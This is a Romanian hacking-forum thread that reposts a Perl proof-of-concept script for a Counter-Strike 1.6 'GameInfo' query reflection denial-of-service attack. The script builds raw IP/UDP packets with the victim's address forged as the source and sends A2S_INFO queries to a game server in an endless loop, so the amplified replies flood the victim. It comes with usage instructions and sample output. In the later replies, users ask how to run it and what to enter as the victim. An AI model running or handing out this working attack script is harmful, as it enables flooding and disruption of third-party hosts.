Nytro Posted July 24, 2015 Report Posted July 24, 2015 [h=1]Counter-Strike 1.6 'GameInfo' Query Reflection DoS PoC[/h]#!/usr/bin/perl## Counter-Strike 1.6 'GameInfo' Query Reflection DoS# Proof Of Concept## Copyright 2015 (c) Todor Donev # todor.donev@gmail.com# http://www.ethical-hacker.org/# https://www.facebook.com/ethicalhackerorg# http://pastebin.com/u/hackerscommunity ### Disclaimer:# This or previous program is for Educational# purpose ONLY. Do not use it without permission.# The usual disclaimer applies, especially the# fact that Todor Donev is not liable for any# damages caused by direct or indirect use of the# information or functionality provided by these# programs. The author or any Internet provider# bears NO responsibility for content or misuse# of these programs or any derivatives thereof.# By using these programs you accept the fact# that any damage (dataloss, system crash,# system compromise, etc.) caused by the use# of these programs is not Todor Donev's# responsibility.## Use at your own risk and educational # purpose ONLY!## See also, UDP-based Amplification Attacks:# https://www.us-cert.gov/ncas/alerts/TA14-017A## # perl cstrike-drdos-poc.pl 46.165.194.16 192.168.1.10 27010# [ Counter-Strike 1.6 'GameInfo' query reflection dos poc# [ Sending GameInfo requests: 46.165.194.16 -> 192.168.1.10 # ^C## # tcpdump -i eth0 -c4 port 27010# tcpdump: verbose output suppressed, use -v or -vv for full protocol decode# listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes# 00:00:00.000000 IP 192.168.1.10.31337 > masterserver.css.setti.info.27010: UDP, length 25# 00:00:00.000000 IP masterserver.css.setti.info.27010 > 192.168.1.10.31337: UDP, length 1392# 00:00:00.000000 IP 192.168.1.10.31337 > masterserver.css.setti.info.27010: UDP, length 25# 00:00:00.000000 IP masterserver.css.setti.info.27010 > 192.168.1.10.31337: UDP, length 1392# 4 packets captured# 4 packets received by filter# 0 packets dropped by kerneluse strict;use Socket;use warnings;no warnings 'uninitialized';print "[ Counter-Strike 1.6 \'GameInfo\' query reflection dos poc\n";die "[ Sorry, must be run as root. This script use RAW Socket.\n" if ($< != 0);my $css = (gethostbyname($ARGV[0]))[4]; # IP Address Destination (32 bits)my $victim = (gethostbyname($ARGV[1]))[4]; # IP Address Source (32 bits)my $port = $ARGV[2] || '27015'; # Int between 1 and 65535 Default: 27015die "[ Port must be between 1 and 65535!\n" if ($port < 1 || $port > 65535);if (!defined $css || !defined $victim) { print "[ Usg: $0 <cstrike server> <victim> <port>\n"; print "[ Default port: 27015\n"; print "[ <todor.donev\@gmail.com> Todor Donev\n"; exit;}print "[ Sending GameInfo requests: $ARGV[0] -> $ARGV[1]\n";socket(RAW, AF_INET, SOCK_RAW, 255) || die $!;setsockopt(RAW, 0, 1, 1) || die $!;main(); # Main programsub main { my $packet; $packet = iphdr(); $packet .= udphdr(); $packet .= cshdr(); # b000000m... send_packet($packet);} # IP header (Layer 3)sub iphdr { my $ip_ver = 4; # IP Version 4 (4 bits) my $iphdr_len = 5; # IP Header Length (4 bits) my $ip_tos = 0; # Differentiated Services (8 bits) my $ip_total_len = $iphdr_len + 20; # IP Header Length + Data (16 bits) my $ip_frag_id = 0; # Identification Field (16 bits) my $ip_frag_flag = 000; # IP Frag Flags (R DF MF) (3 bits) my $ip_frag_offset = 0000000000000; # IP Fragment Offset (13 bits) my $ip_ttl = 255; # IP TTL (8 bits) my $ip_proto = 17; # IP Protocol (8 bits) my $ip_checksum = 0; # IP Checksum (16 bits) # IP Packet my $iphdr = pack( 'H2 H2 n n B16 h2 c n a4 a4', $ip_ver . $iphdr_len, $ip_tos, $ip_total_len, $ip_frag_id, $ip_frag_flag . $ip_frag_offset, $ip_ttl, $ip_proto, $ip_checksum, $victim, $css ); return $iphdr;} # UDP Header (Layer 4)sub udphdr { my $udp_src_port = 31337; # UDP Sort Port (16 bits) (0-65535) my $udp_dst_port = $port; # UDP Dest Port (16 btis) (0-65535) my $udp_len = 8 + length(cshdr()); # UDP Length (16 bits) (0-65535) my $udp_checksum = 0; # UDP Checksum (16 bits) (XOR of header) # UDP Packet my $udphdr = pack( 'n n n n', $udp_src_port, $udp_dst_port, $udp_len, $udp_checksum ); return $udphdr;} # Counter-Strike 'GameInfo' request sub cshdr {## https://developer.valvesoftware.com/wiki/Server_queries## https://developer.valvesoftware.com/wiki/Source_RCON_Protocol# Requests# The server responds to 5 queries:## A2S_INFO 'T' (0x54) # Basic information about the server. # A2S_PLAYER 'U' (0x55) # Details about each player on the server. # A2S_RULES 'V' (0x56) # The rules the server is using. # A2A_PING 'i' (0x69)# Ping the server. (DEPRECATED) # A2S_SERVERQUERY_GETCHALLENGE 'W' (0x57)# Returns a challenge number for use in the player and rules query. (DEPRECATED) ## Queries should be sent in UDP packets to the listen port of the server. ## 25 bytes - A2S_INFO my $query = "\xff\xff\xff\xff\x54"; # 0000 ff ff ff ff 54 53 6f 75 72 63 65 20 45 6e 67 69 ....TSource Engi $query .= "\x53\x6f\x75\x72\x63"; # 0010 6e 65 20 51 75 65 72 79 00 ne Query. $query .= "\x65\x20\x45\x6e\x67"; $query .= "\x69\x6e\x65\x20\x51"; $query .= "\x75\x65\x72\x79\x00"; my $cshdr = pack('a*', $query);return $cshdr;}sub send_packet { while(1){ select(undef, undef, undef, 0.40); # Sleep 400 milliseconds send(RAW, $_[0], 0, pack('Sna4x8', AF_INET, 60, $css)) || die $!; }}Sursa: https://www.exploit-db.com/exploits/37669/ Quote
blech Posted September 5, 2015 Report Posted September 5, 2015 care este rata la care amplifica? cat are un request si cat are un raspuns ? Quote
Uriasul Posted September 25, 2015 Report Posted September 25, 2015 Cum se foloseste exact ! Pls ! Quote
mark0 Posted September 25, 2015 Report Posted September 25, 2015 pentru cei doi de mai sus print "[ Usg: $0 <cstrike server> <victim> <port>\n"; print "[ Default port: 27015\n"; print "[ <todor.donev\@gmail.com> Todor Donev\n";Daca va trebuie mai mult de atat nu meritati sa-l folositi... Quote
Uriasul Posted September 25, 2015 Report Posted September 25, 2015 pentru cei doi de mai sus print "[ Usg: $0 <cstrike server> <victim> <port>\n"; print "[ Default port: 27015\n"; print "[ <todor.donev\@gmail.com> Todor Donev\n";Daca va trebuie mai mult de atat nu meritati sa-l folositi...Tanks Quote
uktea3 Posted December 2, 2015 Report Posted December 2, 2015 (edited) M?i eu nu vreau s? dezgrop mor?ii sau ceva .. dar îmi explic? ?i mie cineva ce ar trebui s? fac? asta? still a newbie you know.. iar la victim ce ar trebui pus? userid sau ip victimei? Sorry de dezgropare dar chiar sunt super curios. Edited December 2, 2015 by uktea3 Quote
dirtycash Posted December 2, 2015 Report Posted December 2, 2015 pentru cei doi de mai sus print "[ Usg: $0 <cstrike server> <victim> <port>\n"; print "[ Default port: 27015\n"; print "[ <todor.donev\@gmail.com> Todor Donev\n";Daca va trebuie mai mult de atat nu meritati sa-l folositi... @uktea3 Quote
uktea3 Posted December 2, 2015 Report Posted December 2, 2015 @uktea3Da m8 ?tiu ?i eu s? introduc comanda . Dar nu pricep de ce nu func?ioneaz? sau ce ar trebui s? se întâmple când func?ioneaz?. st? a?a ?i 5 ore dac?-l las. Quote
Sveratus Posted December 2, 2015 Report Posted December 2, 2015 bravo lor ... naveau ce sa faca decat sa gaseasca un exploit la un joc patetic vechi de 2000 de ani Quote